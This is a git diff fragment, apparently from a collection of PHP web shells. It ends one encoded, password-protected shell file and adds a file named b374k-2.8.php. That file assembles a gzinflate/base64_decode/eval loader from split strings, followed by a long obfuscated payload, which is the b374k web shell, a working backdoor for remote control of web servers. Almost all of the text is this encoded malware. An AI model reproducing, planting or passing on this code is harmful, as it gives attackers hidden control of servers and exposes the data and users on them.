L0zQ+w7Om8QhD3qV5UoxP5peBMxg6P4DJOvz6xcAZDF7h/6Hztx9PRm5d4qO7o7Aa2bFKaYbxJY6mOMFbhbPkt5+nU1ADyFKWPljSouSEMgNbHCs29DvpcEl9wCsXfa5xkq2Iu6SLlySSmYsrRcU3stqw9Ka8rxfAvHy9xfM3P7dHRt22vilfz8d0z2j/vo6aGQCm7gXH+4AYry4Dpid/tlp92Z8y42442k4r2Iy5F9GeU+9ZIO+VjNGhfJNboW0yHLTASZcoObYHIwUnXKYXjfMW3FzWY4b7ligEoPJI7huALEAdKcR3bXHjKFCgCL4alc7nEx+alofiCHhPUkac2QvElH8gMIskMfaF+ujX3IuqI4g5ZFYyFbBWbWBFv8pgEkRBYrgFbUbOX3nLLALDqNxK4KtH33852tr20Ukqgp/JqGaIS27SLVGli/Da69ZI9D0VDVqJJPJ1tYwmTHu1Sr6uFi1SyG2vZuZ3O1X6gCS/XOGZU6TWLfFQu3rJXobZdbfxPZG88mCF/eWPXb6lZHs8lL1RyQgT7r34Ge8inZ7ZXrGoNLw7GJgBVlwbKvvvwiu8lvU0bxhCWxy/D7GTsQJ70ce4t2GHjn2mE9Wnfk0RMRFtG7hUkdgYPbD3JYZaGtIh7lqlyyLJy9fxHyE6tKNe77m8O5sscUVHdmjhmfQJeeYrzTPOr8dvn4RoSLDLfNFKr/8sy1Qh/8+55j5CrMk46eMYx/BJ3xIXQrcodiTvgMRpwgEm/w0=",$s_pass);?> \ No newline at end of file diff --git a/php/b374k/b374k-2.8.php b/php/b374k/b374k-2.8.php new file mode 100644 index 0000000..77b5839 --- /dev/null +++ b/php/b374k/b374k-2.8.php @@ -0,0 +1,10 @@ +".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("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